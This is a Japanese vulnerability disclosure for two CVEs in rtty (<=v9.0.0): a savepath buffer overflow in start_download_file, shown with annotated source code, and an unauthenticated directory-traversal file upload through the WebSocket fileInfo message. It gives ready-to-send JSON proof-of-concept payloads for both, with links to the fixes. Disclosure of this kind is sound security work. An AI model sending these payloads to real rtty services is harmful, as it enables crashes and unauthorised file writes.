CVE-2025-56708&CVE-2025-56709

【CVE-2025-56709】savepath バッファオーバーフロー

脆弱性の概要

rtty <=v9.0.0 バージョンでは、fileinfo メソッドにオーバーフローの脆弱性が存在します。この脆弱性により、データがグローバル変数 savepath に書き込まれ続け、バッファオーバーフローが発生します。

脆弱性の分析

savepath は書き込み続けることができ、オーバーフローを引き起こします

【1】name は実際には savepath のメモリ領域を使用していることがわかります
【2】mount チェックに合格しない場合、check_space_fail フローに入ります
【3】フローは失敗に至りますが、buffer_pull は name、つまり savepath の領域にデータを追加し続けます

static void start_download_file(struct file_context *ctx, struct buffer *info, int len)
{
    char *name = savepath + strlen(savepath);【1】
    struct mntent *ment;
    struct statvfs sfs;
    char buf[512];
    int fd;

    ctx->total_size = ctx->remain_size = buffer_pull_u32be(info);

    ment = find_mount_point(savepath);
    if (ment) {
        uint64_t avail;

        if (!strcmp(ment->mnt_type, "ramfs")) {
            struct sysinfo si;

            if (sysinfo(&si)) {
                log_err("download file fail: '%s'\n", strerror(errno));
                goto check_space_fail;
            }

            avail = si.freeram;
        } else if (!statvfs(ment->mnt_dir, &sfs)) {
            avail = sfs.f_bavail * sfs.f_frsize;
        } else {
            log_err("download file fail: '%s'\n", strerror(errno));
            goto check_space_fail;
        }

        if (ctx->total_size > avail) {
            log_err("download file fail: no enough space\n");
            goto check_space_fail;
        }
    } else {
        log_err("download file fail: not found mount point of '%s'\n", savepath);
        goto check_space_fail;【2】
    }

    buffer_pull(info, name, len - 4);

    if (!access(savepath, F_OK)) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
        log_err("the file '%s' already exists\n", name);
        goto open_fail;
    }

    fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
    if (fd < 0) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
        log_err("create file '%s' fail: %s\n", name, strerror(errno));
        goto open_fail;
    }

    log_info("download file: %s, size: %u\n", savepath, ctx->total_size);

    if (fchown(fd, ctx->uid, ctx->gid) < 0)
        log_err("fchown %s fail: %s\n", savepath, strerror(errno));

    if (ctx->total_size == 0)
        close(fd);
    else
        ctx->fd = fd;

    memcpy(buf, &ctx->total_size, 4);
    strcpy(buf + 4, name);

    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));

    return;

check_space_fail:
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
    buffer_pull(info, name, len - 4);【3】
    
open_fail:
    file_context_reset(ctx);
}

脆弱性のPOC

WebSocket を使用してデータを送信し続けるだけで、サービスをクラッシュさせることができます（RCE の可能性もあり）

{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}

脆弱性の修正

https://github.com/zhaojh329/rtty/issues/139

【CVE-2025-56708】未認証のファイルアップロード

脆弱性の概要

rtty <=v9.0.0 バージョンにはディレクトリトラバーサルの脆弱性が存在します。対話プロトコルにおいて、fileinfo メソッドにロジック上の脆弱性があります。攻撃者は WebSocket をハイジャックして fileinfo メソッドを呼び出すことで、ユーザーのログインなしにファイルをシステム内の任意のパスにアップロードできます。

脆弱性のPOC

WebSocket のプログラムフローをハイジャックし、fileInfo メソッドを通じて、ユーザーがログインしていない状態でもファイルをシステムの任意のディレクトリにアップロードできます。
マウントディレクトリを指定

{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}

ファイルを指定

{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}

サーバー側でファイルが生成されます

脆弱性の修正

https://github.com/zhaojh329/rtty/issues/140

rtty_CVE-2025-56708-CVE-2025-56709

人気